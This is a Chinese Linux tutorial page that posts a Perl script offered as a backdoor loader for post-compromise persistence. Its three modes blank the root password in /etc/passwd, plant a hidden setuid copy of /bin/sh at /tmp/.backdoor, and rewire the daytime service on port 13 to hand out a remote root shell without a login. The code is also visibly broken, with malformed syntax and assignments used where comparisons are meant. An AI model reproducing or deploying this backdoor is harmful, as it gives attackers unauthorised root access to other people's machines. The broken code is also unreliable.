歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux編程 >> PERL編程

用perl寫的linux後門加載程序

  print "++++++++++++++++++++++++++++++++++++Linux後門工具+++++++++++++++++++++++++++++++++++\n";   print "使用說明,有三中模式rushroot,fakebackdoor,和rushport,rushroot是加一個賬號到passwd中,用戶名是root,密碼為空n fakebackdoor是綁定一個shell到/tmp/.backdoor下,運行後直接取得root shell,rushport是綁定端口在daytime服務中\n,有兩個版本,一個是針對redhatlinux7.0一下的--rushport1,一個是針對redhatlinux7.0以上的--rushport2.\n一般服務器都不開這個服務,程序自動激活daytime服務,telnet到13端口直接取得rootshell 這種方法隱蔽性相對前兩中最好\n,記住要重啟daytime服務才能生效\n eg: rush rushroot,程序還有很多可以優化的地方,如果有什麼好的改進請email to gaomeigaocuo\@hotmail.com\n by 流氓我一生\n";   $parameter = @;ARGV[0];   chomp $parameter;   if ($parameter = "rushroot")   {   &rushroot;   }   elsif ($parameter = "fakebackdoor")   {   &fakebackdoor;   }   elsif($parameter = "rushport")   {   &rushport1;   }   else ($parameter = "rushport2")   {   &rushport2;   }     sub rushroot   {   open (PWD,"/etc/passwd") die "cannt find the shadow file!\n";   while(

)   {   chop;   $passwd.="$_\n";   last;   }   chomp $passwd;   if($passwd eq "root:x:0:0:root:/root:/bin/bash")   {   $passwd =~s/x//g;   print "rushroot sUCcess!now you can get a rootshell with null passwd";   }   else   {   print "faild....something wrong....:(((";   }       while(

)   {   chomp;   $passwd1.="$_\n";   }     close PWD;   open (PWD,">/etc/passwd")die "why?";   print PWD $passwd;   print PWD $passwd1;   }       sub fakebackdoor   {   @cpsh = ("cp", "/bin/sh /tmp/.backdoor");   @chmod= ("chmod","u+s /tmp/.backdoor");   system(@cpsh);   system(@chmod);   print "success! now you can use ./tmp/.backdoor to get a root shell\n";   }       sub rushport1   {   open (RH6,"/etc/inetd.d/inetd.conf") die "cannt find the shadow file!\n"; #這裡根據版本不同可自己修改路徑   while()   {   chomp;   $passwd.="$_\n";   chomp $passwd;   if ($passwd eq "daytime stream tcp nowait root internal")   {   $passwd =~s/root internal/bin\/sh -i/g;   }   last;   close RH6;   open (RH6,">/etc/inetd.d/inetd.conf")die "faild...:("; # #這裡根據版本不同可自己修改路徑   print RH6 $passwd;   print "success! now you can telnet romote host at port 13 after reboot the daytime session\n";   }   }     sub rushport2   {   open (DAYTIME,">/etc/xinetd.d/daytime") die "can't open file!";   $daytime = "service daytime\n {\n disable = no\n server =/bin/sh\n server_agrs = --norc\n id = daytime-stream\n socket_type = stream\n protocol = tcp\n user = root\n wait = no\n }\n";   print DAYTIME $daytime;   print "success! now you can telnet romote host at port 13 after reboot the daytime session\n";   }




Copyright © Linux教程網 All Rights Reserved